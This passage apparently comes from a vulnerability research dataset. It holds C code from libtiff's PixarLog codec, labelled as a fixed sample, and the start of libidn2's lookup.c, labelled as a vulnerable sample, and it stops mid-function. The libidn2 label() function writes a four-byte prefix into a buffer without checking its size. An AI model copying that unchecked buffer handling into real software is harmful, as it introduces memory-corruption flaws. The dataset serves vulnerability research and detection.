_TIFFmalloc(tbuf_size); if (sp->tbuf == NULL) return (0); sp->tbuf_size = tbuf_size; if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) sp->user_datafmt = PixarLogGuessDataFmt(td); if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) { TIFFErrorExt(tif->tif_clientdata, module, "PixarLog compression can't handle bits depth/data format combination (depth: %d)", td->td_bitspersample); return (0); } if (inflateInit(&sp->stream) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "%s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } else { sp->state |= PLSTATE_INIT; return (1); } } /* * Setup state for decoding a strip. */ static int PixarLogPreDecode(TIFF* tif, uint16 s) { static const char module[] = "PixarLogPreDecode"; PixarLogState* sp = DecoderState(tif); (void) s; assert(sp != NULL); sp->stream.next_in = tif->tif_rawdata; assert(sizeof(sp->stream.avail_in)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_in = (uInt) tif->tif_rawcc; if ((tmsize_t)sp->stream.avail_in != tif->tif_rawcc) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } return (inflateReset(&sp->stream) == Z_OK); } static int PixarLogDecode(TIFF* tif, uint8* op, tmsize_t occ, uint16 s) { static const char module[] = "PixarLogDecode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState* sp = DecoderState(tif); tmsize_t i; tmsize_t nsamples; int llen; uint16 *up; switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: nsamples = occ / sizeof(float); /* XXX float == 32 bits */ break; case PIXARLOGDATAFMT_16BIT: case PIXARLOGDATAFMT_12BITPICIO: case PIXARLOGDATAFMT_11BITLOG: nsamples = occ / sizeof(uint16); /* XXX uint16 == 16 bits */ break; case PIXARLOGDATAFMT_8BIT: case PIXARLOGDATAFMT_8BITABGR: nsamples = occ; break; default: TIFFErrorExt(tif->tif_clientdata, module, "%d bit input not supported in PixarLog", td->td_bitspersample); return 0; } llen = sp->stride * td->td_imagewidth; (void) s; assert(sp != NULL); sp->stream.next_out = (unsigned char *) sp->tbuf; assert(sizeof(sp->stream.avail_out)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_out = (uInt) (nsamples * sizeof(uint16)); if (sp->stream.avail_out != nsamples * sizeof(uint16)) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } /* Check that we will not fill more than what was allocated */ if ((tmsize_t)sp->stream.avail_out > sp->tbuf_size) { TIFFErrorExt(tif->tif_clientdata, module, "sp->stream.avail_out > sp->tbuf_size"); return (0); } do { int state = inflate(&sp->stream, Z_PARTIAL_FLUSH); if (state == Z_STREAM_END) { break; /* XXX */ } if (state == Z_DATA_ERROR) { TIFFErrorExt(tif->tif_clientdata, module, "Decoding error at scanline %lu, %s", (unsigned long) tif->tif_row, sp->stream.msg ? sp->stream.msg : "(null)"); if (inflateSync(&sp->stream) != Z_OK) return (0); continue; } if (state != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } } while (sp->stream.avail_out > 0); /* hopefully, we got all the bytes we needed */ if (sp->stream.avail_out != 0) { TIFFErrorExt(tif->tif_clientdata, module, "Not enough data at scanline %lu (short " TIFF_UINT64_FORMAT " bytes)", (unsigned long) tif->tif_row, (TIFF_UINT64_T) sp->stream.avail_out); return (0); } up = sp->tbuf; /* Swap bytes in the data if from a different endian machine. */ if (tif->tif_flags & TIFF_SWAB) TIFFSwabArrayOfShort(up, nsamples); /* * if llen is not an exact multiple of nsamples, the decode operation * may overflow the output buffer, so truncate it enough to prevent * that but still salvage as much data as possible. */ if (nsamples % llen) { TIFFWarningExt(tif->tif_clientdata, module, "stride %lu is not a multiple of sample count, " "%lu, data truncated.", (unsigned long) llen, (unsigned long) nsamples); nsamples -= nsamples % llen; } for (i = 0; i < nsamples; i += llen, up += llen) { switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: horizontalAccumulateF(up, llen, sp->stride, (float *)op, sp->ToLinearF); op += llen * sizeof(float); break; case PIXARLOGDATAFMT_16BIT: horizontalAccumulate16(up, llen, sp->stride, (uint16 *)op, sp->ToLinear16); op += llen * sizeof(uint16); break; case PIXARLOGDATAFMT_12BITPICIO: horizontalAccumulate12(up, llen, sp->stride, (int16 *)op, sp->ToLinearF); op += llen * sizeof(int16); break; case PIXARLOGDATAFMT_11BITLOG: horizontalAccumulate11(up, llen, sp->stride, (uint16 *)op); op += llen * sizeof(uint16); break; case PIXARLOGDATAFMT_8BIT: horizontalAccumulate8(up, llen, sp->stride, (unsigned char *)op, sp->ToLinear8); op += llen * sizeof(unsigned char); break; case PIXARLOGDATAFMT_8BITABGR: horizontalAccumulate8abgr(up, llen, sp->stride, (unsigned char *)op, sp->ToLinear8); op += llen * sizeof(unsigned char); break; default: TIFFErrorExt(tif->tif_clientdata, module, "Unsupported bits/sample: %d", td->td_bitspersample); return (0); } } return (1); } static int PixarLogSetupEncode(TIFF* tif) { static const char module[] = "PixarLogSetupEncode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState* sp = EncoderState(tif); tmsize_t tbuf_size; assert(sp != NULL); /* for some reason, we can't do this in TIFFInitPixarLog */ sp->stride = (td->td_planarconfig == PLANARCONFIG_CONTIG ? td->td_samplesperpixel : 1); tbuf_size = multiply_ms(multiply_ms(multiply_ms(sp->stride, td->td_imagewidth), td->td_rowsperstrip), sizeof(uint16)); if (tbuf_size == 0) return (0); /* TODO: this is an error return without error report through TIFFErrorExt */ sp->tbuf = (uint16 *) _TIFFmalloc(tbuf_size); if (sp->tbuf == NULL) return (0); if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) sp->user_datafmt = PixarLogGuessDataFmt(td); if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) { TIFFErrorExt(tif->tif_clientdata, module, "PixarLog compression can't handle %d bit linear encodings", td->td_bitspersample); return (0); } if (deflateInit(&sp->stream, sp->quality) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "%s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } else { sp->state |= PLSTATE_INIT; return (1); } } /* * Reset encoding state at the start of a strip. */ static int PixarLogPreEncode(TIFF* tif, uint16 s) { static const char module[] = "PixarLogPreEncode"; PixarLogState *sp = EncoderState(tif); (void) s; assert(sp != NULL); sp->stream.next_out = tif->tif_rawdata; assert(sizeof(sp->stream.avail_out)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_out = (uInt)tif->tif_rawdatasize; if ((tmsize_t)sp->stream.avail_out != tif->tif_rawdatasize) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } return (deflateReset(&sp->stream) == Z_OK); } static void horizontalDifferenceF(float *ip, int n, int stride, uint16 *wp, uint16 *FromLT2) { int32 r1, g1, b1, a1, r2, g2, b2, a2, mask; float fltsize = Fltsize; #define CLAMP(v) ( (v<(float)0.) ? 0 \ : (v<(float)2.) ? FromLT2[(int)(v*fltsize)] \ : (v>(float)24.2) ? 2047 \ : LogK1*log(v*LogK2) + 0.5 ) mask = CODE_MASK; if (n >= stride) { if (stride == 3) { r2 = wp[0] = (uint16) CLAMP(ip[0]); g2 = wp[1] = (uint16) CLAMP(ip[1]); b2 = wp[2] = (uint16) CLAMP(ip[2]); n -= 3; while (n > 0) { n -= 3; wp += 3; ip += 3; r1 = (int32) CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = (int32) CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = (int32) CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; } } else if (stride == 4) { r2 = wp[0] = (uint16) CLAMP(ip[0]); g2 = wp[1] = (uint16) CLAMP(ip[1]); b2 = wp[2] = (uint16) CLAMP(ip[2]); a2 = wp[3] = (uint16) CLAMP(ip[3]); n -= 4; while (n > 0) { n -= 4; wp += 4; ip += 4; r1 = (int32) CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = (int32) CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = (int32) CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; a1 = (int32) CLAMP(ip[3]); wp[3] = (uint16)((a1-a2) & mask); a2 = a1; } } else { REPEAT(stride, wp[0] = (uint16) CLAMP(ip[0]); wp++; ip++) n -= stride; while (n > 0) { REPEAT(stride, wp[0] = (uint16)(((int32)CLAMP(ip[0])-(int32)CLAMP(ip[-stride])) & mask); wp++; ip++) n -= stride; } } } } static void horizontalDifference16(unsigned short *ip, int n, int stride, unsigned short *wp, uint16 *From14) { register int r1, g1, b1, a1, r2, g2, b2, a2, mask; /* assumption is unsigned pixel values */ #undef CLAMP #define CLAMP(v) From14[(v) >> 2] mask = CODE_MASK; if (n >= stride) { if (stride == 3) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); n -= 3; while (n > 0) { n -= 3; wp += 3; ip += 3; r1 = CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; } } else if (stride == 4) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); a2 = wp[3] = CLAMP(ip[3]); n -= 4; while (n > 0) { n -= 4; wp += 4; ip += 4; r1 = CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; a1 = CLAMP(ip[3]); wp[3] = (uint16)((a1-a2) & mask); a2 = a1; } } else { REPEAT(stride, wp[0] = CLAMP(ip[0]); wp++; ip++) n -= stride; while (n > 0) { REPEAT(stride, wp[0] = (uint16)((CLAMP(ip[0])-CLAMP(ip[-stride])) & mask); wp++; ip++) n -= stride; } } } } static void horizontalDifference8(unsigned char *ip, int n, int stride, unsigned short *wp, uint16 *From8) { register int r1, g1, b1, a1, r2, g2, b2, a2, mask; #undef CLAMP #define CLAMP(v) (From8[(v)]) mask = CODE_MASK; if (n >= stride) { if (stride == 3) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); n -= 3; while (n > 0) { n -= 3; r1 = CLAMP(ip[3]); wp[3] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[4]); wp[4] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[5]); wp[5] = (uint16)((b1-b2) & mask); b2 = b1; wp += 3; ip += 3; } } else if (stride == 4) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); a2 = wp[3] = CLAMP(ip[3]); n -= 4; while (n > 0) { n -= 4; r1 = CLAMP(ip[4]); wp[4] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[5]); wp[5] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[6]); wp[6] = (uint16)((b1-b2) & mask); b2 = b1; a1 = CLAMP(ip[7]); wp[7] = (uint16)((a1-a2) & mask); a2 = a1; wp += 4; ip += 4; } } else { REPEAT(stride, wp[0] = CLAMP(ip[0]); wp++; ip++) n -= stride; while (n > 0) { REPEAT(stride, wp[0] = (uint16)((CLAMP(ip[0])-CLAMP(ip[-stride])) & mask); wp++; ip++) n -= stride; } } } } /* * Encode a chunk of pixels. */ static int PixarLogEncode(TIFF* tif, uint8* bp, tmsize_t cc, uint16 s) { static const char module[] = "PixarLogEncode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState *sp = EncoderState(tif); tmsize_t i; tmsize_t n; int llen; unsigned short * up; (void) s; switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: n = cc / sizeof(float); /* XXX float == 32 bits */ break; case PIXARLOGDATAFMT_16BIT: case PIXARLOGDATAFMT_12BITPICIO: case PIXARLOGDATAFMT_11BITLOG: n = cc / sizeof(uint16); /* XXX uint16 == 16 bits */ break; case PIXARLOGDATAFMT_8BIT: case PIXARLOGDATAFMT_8BITABGR: n = cc; break; default: TIFFErrorExt(tif->tif_clientdata, module, "%d bit input not supported in PixarLog", td->td_bitspersample); return 0; } llen = sp->stride * td->td_imagewidth; /* Check against the number of elements (of size uint16) of sp->tbuf */ if( n > (tmsize_t)(td->td_rowsperstrip * llen) ) { TIFFErrorExt(tif->tif_clientdata, module, "Too many input bytes provided"); return 0; } for (i = 0, up = sp->tbuf; i < n; i += llen, up += llen) { switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: horizontalDifferenceF((float *)bp, llen, sp->stride, up, sp->FromLT2); bp += llen * sizeof(float); break; case PIXARLOGDATAFMT_16BIT: horizontalDifference16((uint16 *)bp, llen, sp->stride, up, sp->From14); bp += llen * sizeof(uint16); break; case PIXARLOGDATAFMT_8BIT: horizontalDifference8((unsigned char *)bp, llen, sp->stride, up, sp->From8); bp += llen * sizeof(unsigned char); break; default: TIFFErrorExt(tif->tif_clientdata, module, "%d bit input not supported in PixarLog", td->td_bitspersample); return 0; } } sp->stream.next_in = (unsigned char *) sp->tbuf; assert(sizeof(sp->stream.avail_in)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_in = (uInt) (n * sizeof(uint16)); if ((sp->stream.avail_in / sizeof(uint16)) != (uInt) n) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } do { if (deflate(&sp->stream, Z_NO_FLUSH) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "Encoder error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } if (sp->stream.avail_out == 0) { tif->tif_rawcc = tif->tif_rawdatasize; TIFFFlushData1(tif); sp->stream.next_out = tif->tif_rawdata; sp->stream.avail_out = (uInt) tif->tif_rawdatasize; /* this is a safe typecast, as check is made already in PixarLogPreEncode */ } } while (sp->stream.avail_in > 0); return (1); } /* * Finish off an encoded strip by flushing the last * string and tacking on an End Of Information code. */ static int PixarLogPostEncode(TIFF* tif) { static const char module[] = "PixarLogPostEncode"; PixarLogState *sp = EncoderState(tif); int state; sp->stream.avail_in = 0; do { state = deflate(&sp->stream, Z_FINISH); switch (state) { case Z_STREAM_END: case Z_OK: if ((tmsize_t)sp->stream.avail_out != tif->tif_rawdatasize) { tif->tif_rawcc = tif->tif_rawdatasize - sp->stream.avail_out; TIFFFlushData1(tif); sp->stream.next_out = tif->tif_rawdata; sp->stream.avail_out = (uInt) tif->tif_rawdatasize; /* this is a safe typecast, as check is made already in PixarLogPreEncode */ } break; default: TIFFErrorExt(tif->tif_clientdata, module, "ZLib error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } } while (state != Z_STREAM_END); return (1); } static void PixarLogClose(TIFF* tif) { TIFFDirectory *td = &tif->tif_dir; /* In a really sneaky (and really incorrect, and untruthful, and * troublesome, and error-prone) maneuver that completely goes against * the spirit of TIFF, and breaks TIFF, on close, we covertly * modify both bitspersample and sampleformat in the directory to * indicate 8-bit linear. This way, the decode "just works" even for * readers that don't know about PixarLog, or how to set * the PIXARLOGDATFMT pseudo-tag. */ td->td_bitspersample = 8; td->td_sampleformat = SAMPLEFORMAT_UINT; } static void PixarLogCleanup(TIFF* tif) { PixarLogState* sp = (PixarLogState*) tif->tif_data; assert(sp != 0); (void)TIFFPredictorCleanup(tif); tif->tif_tagmethods.vgetfield = sp->vgetparent; tif->tif_tagmethods.vsetfield = sp->vsetparent; if (sp->FromLT2) _TIFFfree(sp->FromLT2); if (sp->From14) _TIFFfree(sp->From14); if (sp->From8) _TIFFfree(sp->From8); if (sp->ToLinearF) _TIFFfree(sp->ToLinearF); if (sp->ToLinear16) _TIFFfree(sp->ToLinear16); if (sp->ToLinear8) _TIFFfree(sp->ToLinear8); if (sp->state&PLSTATE_INIT) { if (tif->tif_mode == O_RDONLY) inflateEnd(&sp->stream); else deflateEnd(&sp->stream); } if (sp->tbuf) _TIFFfree(sp->tbuf); _TIFFfree(sp); tif->tif_data = NULL; _TIFFSetDefaultCompressionState(tif); } static int PixarLogVSetField(TIFF* tif, uint32 tag, va_list ap) { static const char module[] = "PixarLogVSetField"; PixarLogState *sp = (PixarLogState *)tif->tif_data; int result; switch (tag) { case TIFFTAG_PIXARLOGQUALITY: sp->quality = (int) va_arg(ap, int); if (tif->tif_mode != O_RDONLY && (sp->state&PLSTATE_INIT)) { if (deflateParams(&sp->stream, sp->quality, Z_DEFAULT_STRATEGY) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } } return (1); case TIFFTAG_PIXARLOGDATAFMT: sp->user_datafmt = (int) va_arg(ap, int); /* Tweak the TIFF header so that the rest of libtiff knows what * size of data will be passed between app and library, and * assume that the app knows what it is doing and is not * confused by these header manipulations... */ switch (sp->user_datafmt) { case PIXARLOGDATAFMT_8BIT: case PIXARLOGDATAFMT_8BITABGR: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 8); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT); break; case PIXARLOGDATAFMT_11BITLOG: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 16); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT); break; case PIXARLOGDATAFMT_12BITPICIO: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 16); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_INT); break; case PIXARLOGDATAFMT_16BIT: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 16); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT); break; case PIXARLOGDATAFMT_FLOAT: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 32); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_IEEEFP); break; } /* * Must recalculate sizes should bits/sample change. */ tif->tif_tilesize = isTiled(tif) ? TIFFTileSize(tif) : (tmsize_t)(-1); tif->tif_scanlinesize = TIFFScanlineSize(tif); result = 1; /* NB: pseudo tag */ break; default: result = (*sp->vsetparent)(tif, tag, ap); } return (result); } static int PixarLogVGetField(TIFF* tif, uint32 tag, va_list ap) { PixarLogState *sp = (PixarLogState *)tif->tif_data; switch (tag) { case TIFFTAG_PIXARLOGQUALITY: *va_arg(ap, int*) = sp->quality; break; case TIFFTAG_PIXARLOGDATAFMT: *va_arg(ap, int*) = sp->user_datafmt; break; default: return (*sp->vgetparent)(tif, tag, ap); } return (1); } static const TIFFField pixarlogFields[] = { {TIFFTAG_PIXARLOGDATAFMT, 0, 0, TIFF_ANY, 0, TIFF_SETGET_INT, TIFF_SETGET_UNDEFINED, FIELD_PSEUDO, FALSE, FALSE, "", NULL}, {TIFFTAG_PIXARLOGQUALITY, 0, 0, TIFF_ANY, 0, TIFF_SETGET_INT, TIFF_SETGET_UNDEFINED, FIELD_PSEUDO, FALSE, FALSE, "", NULL} }; int TIFFInitPixarLog(TIFF* tif, int scheme) { static const char module[] = "TIFFInitPixarLog"; PixarLogState* sp; assert(scheme == COMPRESSION_PIXARLOG); /* * Merge codec-specific tag information. */ if (!_TIFFMergeFields(tif, pixarlogFields, TIFFArrayCount(pixarlogFields))) { TIFFErrorExt(tif->tif_clientdata, module, "Merging PixarLog codec-specific tags failed"); return 0; } /* * Allocate state block so tag methods have storage to record values. */ tif->tif_data = (uint8*) _TIFFmalloc(sizeof (PixarLogState)); if (tif->tif_data == NULL) goto bad; sp = (PixarLogState*) tif->tif_data; _TIFFmemset(sp, 0, sizeof (*sp)); sp->stream.data_type = Z_BINARY; sp->user_datafmt = PIXARLOGDATAFMT_UNKNOWN; /* * Install codec methods. */ tif->tif_fixuptags = PixarLogFixupTags; tif->tif_setupdecode = PixarLogSetupDecode; tif->tif_predecode = PixarLogPreDecode; tif->tif_decoderow = PixarLogDecode; tif->tif_decodestrip = PixarLogDecode; tif->tif_decodetile = PixarLogDecode; tif->tif_setupencode = PixarLogSetupEncode; tif->tif_preencode = PixarLogPreEncode; tif->tif_postencode = PixarLogPostEncode; tif->tif_encoderow = PixarLogEncode; tif->tif_encodestrip = PixarLogEncode; tif->tif_encodetile = PixarLogEncode; tif->tif_close = PixarLogClose; tif->tif_cleanup = PixarLogCleanup; /* Override SetField so we can handle our private pseudo-tag */ sp->vgetparent = tif->tif_tagmethods.vgetfield; tif->tif_tagmethods.vgetfield = PixarLogVGetField; /* hook for codec tags */ sp->vsetparent = tif->tif_tagmethods.vsetfield; tif->tif_tagmethods.vsetfield = PixarLogVSetField; /* hook for codec tags */ /* Default values for codec-specific fields */ sp->quality = Z_DEFAULT_COMPRESSION; /* default comp. level */ sp->state = 0; /* we don't wish to use the predictor, * the default is none, which predictor value 1 */ (void) TIFFPredictorInit(tif); /* * build the companding tables */ PixarLogMakeTables(sp); return (1); bad: TIFFErrorExt(tif->tif_clientdata, module, "No space for PixarLog state block"); return (0); } #endif /* PIXARLOG_SUPPORT */ /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/good_5479_1
crossvul-cpp_data_bad_1197_0
/* lookup.c - implementation of IDNA2008 lookup functions Copyright (C) 2011-2017 Simon Josefsson Libidn2 is free software: you can redistribute it and/or modify it under the terms of either: * the GNU Lesser General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. or * the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. or both in parallel, as here. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received copies of the GNU General Public License and the GNU Lesser General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <config.h> #include "idn2.h" #include <errno.h> /* errno */ #include <stdlib.h> /* malloc, free */ #include "punycode.h" #include <unitypes.h> #include <uniconv.h> /* u8_strconv_from_locale */ #include <uninorm.h> /* u32_normalize */ #include <unistr.h> /* u8_to_u32 */ #include "idna.h" /* _idn2_label_test */ #include "tr46map.h" /* definition for tr46map.c */ static int set_default_flags(int *flags) { if (((*flags) & IDN2_TRANSITIONAL) && ((*flags) & IDN2_NONTRANSITIONAL)) return IDN2_INVALID_FLAGS; if (((*flags) & (IDN2_TRANSITIONAL|IDN2_NONTRANSITIONAL)) && ((*flags) & IDN2_NO_TR46)) return IDN2_INVALID_FLAGS; if (!((*flags) & (IDN2_NO_TR46|IDN2_TRANSITIONAL))) *flags |= IDN2_NONTRANSITIONAL; return IDN2_OK; } static int label (const uint8_t * src, size_t srclen, uint8_t * dst, size_t * dstlen, int flags) { size_t plen; uint32_t *p; int rc; size_t tmpl; if (_idn2_ascii_p (src, srclen)) { if (flags & IDN2_ALABEL_ROUNDTRIP) /* FIXME implement this MAY: If the input to this procedure appears to be an A-label (i.e., it starts in "xn--", interpreted case-insensitively), the lookup application MAY attempt to convert it to a U-label, first ensuring that the A-label is entirely in lowercase (converting it to lowercase if necessary), and apply the tests of Section 5.4 and the conversion of Section 5.5 to that form. */ return IDN2_INVALID_FLAGS; if (srclen > IDN2_LABEL_MAX_LENGTH) return IDN2_TOO_BIG_LABEL; if (srclen > *dstlen) return IDN2_TOO_BIG_DOMAIN; memcpy (dst, src, srclen); *dstlen = srclen; return IDN2_OK; } rc = _idn2_u8_to_u32_nfc (src, srclen, &p, &plen, flags & IDN2_NFC_INPUT); if (rc != IDN2_OK) return rc; if (!(flags & IDN2_TRANSITIONAL)) { rc = _idn2_label_test( TEST_NFC | TEST_2HYPHEN | TEST_LEADING_COMBINING | TEST_DISALLOWED | TEST_CONTEXTJ_RULE | TEST_CONTEXTO_WITH_RULE | TEST_UNASSIGNED | TEST_BIDI | ((flags & IDN2_NONTRANSITIONAL) ? TEST_NONTRANSITIONAL : 0) | ((flags & IDN2_USE_STD3_ASCII_RULES) ? 0 : TEST_ALLOW_STD3_DISALLOWED), p, plen); if (rc != IDN2_OK) { free(p); return rc; } } dst[0] = 'x'; dst[1] = 'n'; dst[2] = '-'; dst[3] = '-'; tmpl = *dstlen - 4; rc = _idn2_punycode_encode (plen, p, &tmpl, (char *) dst + 4); free (p); if (rc != IDN2_OK) return rc; *dstlen = 4 + tmpl; return IDN2_OK; } #define TR46_TRANSITIONAL_CHECK \ (TEST_NFC | TEST_2HYPHEN | TEST_HYPHEN_STARTEND | TEST_LEADING_COMBINING | TEST_TRANSITIONAL) #define TR46_NONTRANSITIONAL_CHECK \ (TEST_NFC | TEST_2HYPHEN | TEST_HYPHEN_STARTEND | TEST_LEADING_COMBINING | TEST_NONTRANSITIONAL) static int _tr46 (const uint8_t * domain_u8, uint8_t ** out, int flags) { size_t len, it; uint32_t *domain_u32; int err = IDN2_OK, rc; int transitional = 0; int test_flags; if (flags & IDN2_TRANSITIONAL) transitional = 1; /* convert UTF-8 to UTF-32 */ if (!(domain_u32 = u8_to_u32 (domain_u8, u8_strlen (domain_u8) + 1, NULL, &len))) { if (errno == ENOMEM) return IDN2_MALLOC; return IDN2_ENCODING_ERROR; } size_t len2 = 0; for (it = 0; it < len - 1; it++) { IDNAMap map; get_idna_map (domain_u32[it], &map); if (map_is (&map, TR46_FLG_DISALLOWED)) { if (domain_u32[it]) { free (domain_u32); return IDN2_DISALLOWED; } len2++; } else if (map_is (&map, TR46_FLG_MAPPED)) { len2 += map.nmappings; } else if (map_is (&map, TR46_FLG_VALID)) { len2++; } else if (map_is (&map, TR46_FLG_IGNORED)) { continue; } else if (map_is (&map, TR46_FLG_DEVIATION)) { if (transitional) { len2 += map.nmappings; } else len2++; } else if (!(flags & IDN2_USE_STD3_ASCII_RULES)) { if (map_is (&map, TR46_FLG_DISALLOWED_STD3_VALID)) { /* valid because UseSTD3ASCIIRules=false, see #TR46 5 */ len2++; } else if (map_is (&map, TR46_FLG_DISALLOWED_STD3_MAPPED)) { /* mapped because UseSTD3ASCIIRules=false, see #TR46 5 */ len2 += map.nmappings; } } } uint32_t *tmp = (uint32_t *) malloc ((len2 + 1) * sizeof (uint32_t)); if (!tmp) { free (domain_u32); return IDN2_MALLOC; } len2 = 0; for (it = 0; it < len - 1; it++) { uint32_t c = domain_u32[it]; IDNAMap map; get_idna_map (c, &map); if (map_is (&map, TR46_FLG_DISALLOWED)) { tmp[len2++] = c; } else if (map_is (&map, TR46_FLG_MAPPED)) { len2 += get_map_data (tmp + len2, &map); } else if (map_is (&map, TR46_FLG_VALID)) { tmp[len2++] = c; } else if (map_is (&map, TR46_FLG_IGNORED)) { continue; } else if (map_is (&map, TR46_FLG_DEVIATION)) { if (transitional) { len2 += get_map_data (tmp + len2, &map); } else tmp[len2++] = c; } else if (!(flags & IDN2_USE_STD3_ASCII_RULES)) { if (map_is (&map, TR46_FLG_DISALLOWED_STD3_VALID)) { tmp[len2++] = c; } else if (map_is (&map, TR46_FLG_DISALLOWED_STD3_MAPPED)) { len2 += get_map_data (tmp + len2, &map); } } } free (domain_u32); /* Normalize to NFC */ tmp[len2] = 0; domain_u32 = u32_normalize (UNINORM_NFC, tmp, len2 + 1, NULL, &len); free (tmp); tmp = NULL; if (!domain_u32) { if (errno == ENOMEM) return IDN2_MALLOC; return IDN2_ENCODING_ERROR; } /* split into labels and check */ uint32_t *e, *s; for (e = s = domain_u32; *e; s = e) { while (*e && *e != '.') e++; if (e - s >= 4 && s[0] == 'x' && s[1] == 'n' && s[2] == '-' && s[3] == '-') { /* decode punycode and check result non-transitional */ size_t ace_len; uint32_t name_u32[IDN2_LABEL_MAX_LENGTH]; size_t name_len = IDN2_LABEL_MAX_LENGTH; uint8_t *ace; ace = u32_to_u8 (s + 4, e - s - 4, NULL, &ace_len); if (!ace) { free (domain_u32); if (errno == ENOMEM) return IDN2_MALLOC; return IDN2_ENCODING_ERROR; } rc = _idn2_punycode_decode (ace_len, (char *) ace, &name_len, name_u32); free (ace); if (rc) { free (domain_u32); return rc; } test_flags = TR46_NONTRANSITIONAL_CHECK; if (!(flags & IDN2_USE_STD3_ASCII_RULES)) test_flags |= TEST_ALLOW_STD3_DISALLOWED; if ((rc = _idn2_label_test (test_flags, name_u32, name_len))) err = rc; } else { test_flags = transitional ? TR46_TRANSITIONAL_CHECK : TR46_NONTRANSITIONAL_CHECK; if (!(flags & IDN2_USE_STD3_ASCII_RULES)) test_flags |= TEST_ALLOW_STD3_DISALLOWED; if ((rc = _idn2_label_test (test_flags, s, e - s))) err = rc; } if (*e) e++; } if (err == IDN2_OK && out) { uint8_t *_out = u32_to_u8 (domain_u32, len, NULL, &len); free (domain_u32); if (!_out) { if (errno == ENOMEM) return 